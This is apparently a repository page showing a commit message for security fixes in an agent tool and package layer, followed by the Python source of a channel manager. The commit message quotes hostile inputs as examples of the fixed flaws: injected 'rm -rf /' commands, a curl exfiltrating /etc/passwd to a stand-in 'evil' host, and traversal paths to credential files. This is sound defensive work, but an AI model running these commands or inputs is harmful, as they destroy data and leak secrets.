Files
Test User 975b852e78 Fix command injection, path traversal, and approval bypass in tool/market layer
A security and robustness audit of the tool-execution, market-package, and
approval subsystems surfaced several high-impact issues. Each is fixed with a
minimal, targeted change; regression tests are included.

Command injection (shell_exec runs `bash -lc "<cmd>"`, so interpolated args are
shell-evaluated):
- git_commit: the commit message was interpolated raw into the command string.
  A message like `foo" && rm -rf / #` injected arbitrary commands, and the
  approval layer never inspects `message`. Now shlex-quoted.
- git_clone: the URL was interpolated raw. `https://x.git; rm -rf /` or
  `$(curl ...)` was executed. Now shlex-quoted.

Path traversal:
- package_loader._write_prompts / uninstall: `package_id` (from an untrusted
  manifest) was used directly as a directory name under prompts/market and
  passed to mkdir(parents=True) / shutil.rmtree. An id like
  `../../projects/<victim>` enabled arbitrary file write and arbitrary
  directory deletion. Added _market_prompts_dir() which validates the id
  (lowercase alphanumeric + -/_) and confirms the resolved path stays inside
  the market base; uninstall validates up front. Prompt-content filenames are
  also confined to the package dir.
- sandbox_checker: a malformed package id was only a *warning*, so
  report.passed stayed True and callers proceeded. Promoted to a hard error.
- package_exporter: prompt refs (bare strings from package definitions) were
  read with `opc_home / ref`, so `/etc/passwd` or `../../.aws/credentials`
  were bundled into exported packages. Now confined to opc_home.
- ws_handler._write_custom_prompt: employee_id (derived from user-supplied
  role id/name) flowed unchecked into the path, enabling traversal writes.
  Now reduced to a safe path component with a containment check.

Approval bypass:
- approval: a command beginning with a safe prefix (curl/echo/find/...) was
  auto-approved as LOW risk even when it contained shell command substitution.
  `curl http://evil/$(cat /etc/passwd)` was classified safe and ran with no
  human/LLM review, letting bash exfil data. Added
  _command_has_shell_substitution() and gated safe-prefix matching on it.

Correctness / robustness:
- shell: when a shell_prefix was active, `[args[0], args[1], command]` dropped
  the `-Command` flag from PowerShell argv (4 elements), silently breaking
  every prefixed PowerShell tool call. Now replaces only the trailing arg.
- runtime_v2: tool arguments that are valid JSON but not an object (e.g. a
  JSON array) were silently replaced with `{}` while arguments_parse_error
  stayed None, so the tool executed with empty args (todo_write could wipe the
  task ledger). Now flagged with a parse error.
- store: _json_loads raised on corrupt JSON; it is called during
  store.initialize() (via _sweep_stale_claims), so a single corrupt row
  prevented the store from ever opening. Now falls back to the default.
- engine: _parse_reorg_payload returned any JSON type; callers did
  `.get(...)` and crashed (AttributeError) on `reorg propose 42`. Now returns
  None for non-dict JSON.
- channels.manager: a single failing channel.send propagated out of the only
  outbound dispatch loop and silently stopped all message delivery on every
  channel until restart. Now caught and logged.
- ws_handler: a non-object JSON frame (null/number/array/string) made
  `data.get` raise AttributeError and drop the whole WS connection. Non-dict
  frames are now ignored.

Co-Authored-By: Claude <noreply@anthropic.com>
2026-07-03 10:14:16 +08:00

127 lines
5.0 KiB
Python

"""Channel manager for OpenOPC."""
from __future__ import annotations
import asyncio
from typing import Any
from loguru import logger
from opc.channels.base import BaseChannel
from opc.channels.provider_registry import PROVIDER_SPECS, ordered_provider_specs
from opc.core.config import OPCConfig
from opc.core.models import SystemMessage
from opc.layer0_interaction.message_bus import MessageBus
class ChannelManager:
def __init__(self, config: OPCConfig, bus: MessageBus):
self.config = config
self.bus = bus
self.channels: dict[str, BaseChannel] = {}
self.channel_errors: dict[str, str] = {}
self._dispatch_task: asyncio.Task[Any] | None = None
self._init_channels()
def _init_channels(self) -> None:
for spec in ordered_provider_specs():
cfg = getattr(self.config.channels, spec.name)
if not cfg.enabled:
continue
channel = self._build_channel(spec.name, cfg, spec.module_name, spec.class_name)
if channel is None:
continue
self.channels[spec.name] = channel
logger.info("Channel configured: {}", spec.name)
def _build_channel(self, key: str, cfg: Any, module_name: str, class_name: str) -> BaseChannel | None:
try:
module = __import__(module_name, fromlist=[class_name])
cls = getattr(module, class_name)
return cls(cfg, self.bus)
except Exception as e:
logger.warning("Channel {} not available: {}", key, e)
self.channel_errors[key] = str(e)
return None
@property
def enabled_channels(self) -> list[str]:
return list(self.channels.keys())
def get_channel(self, name: str) -> BaseChannel | None:
return self.channels.get(name)
def get_status(self, name: str) -> dict[str, Any]:
spec = PROVIDER_SPECS[name]
cfg = getattr(self.config.channels, name)
enabled = bool(getattr(cfg, "enabled", False))
channel = self.channels.get(name)
capability = channel.describe_capability() if channel is not None else {
"name": name,
"delivery_mode": spec.delivery_mode,
"available": False if spec.required_package and name in self.channel_errors else True,
"configured": False,
"missing_config": list(spec.required_config_fields),
"running": False,
"ready": False,
"last_error": self.channel_errors.get(name, ""),
}
return {
"name": name,
"enabled": enabled,
"delivery_mode": capability.get("delivery_mode", spec.delivery_mode),
"available": capability.get("available", True),
"configured": capability.get("configured", False),
"ready": capability.get("ready", False),
"running": capability.get("running", False),
"missing_config": capability.get("missing_config", []),
"last_error": capability.get("last_error", "") or self.channel_errors.get(name, ""),
"bridge_required": spec.bridge_required,
"extra_name": spec.extra_name,
"required_package": spec.required_package,
}
def get_all_statuses(self) -> list[dict[str, Any]]:
return [self.get_status(spec.name) for spec in ordered_provider_specs()]
async def start_all(self) -> None:
for name, channel in self.channels.items():
try:
await channel.start()
except Exception as e:
logger.warning("Failed to start channel {}: {}", name, e)
channel.set_last_error(e)
if self._dispatch_task is None:
self._dispatch_task = asyncio.create_task(self._dispatch_outbound())
async def stop_all(self) -> None:
if self._dispatch_task:
self._dispatch_task.cancel()
self._dispatch_task = None
for channel in self.channels.values():
try:
await channel.stop()
except Exception:
pass
async def _dispatch_outbound(self) -> None:
while True:
message = await self.bus.get_response(timeout=1.0)
if message is None:
continue
# A single failing send (network reset, malformed chat id, etc.) must not
# terminate this loop — it is the only outbound consumer for every channel,
# so one exception would silently stop all message delivery until restart.
try:
await self.dispatch_outbound(message)
except Exception as exc: # noqa: BLE001 - resilience of the dispatch loop
logger.exception("Failed to dispatch outbound message: {}", exc)
async def dispatch_outbound(self, message: SystemMessage) -> None:
channel_name = message.channel or self.config.system.default_channel
channel = self.channels.get(channel_name)
if channel is None:
logger.debug("No channel dispatcher for {}", channel_name)
return
await channel.send(message)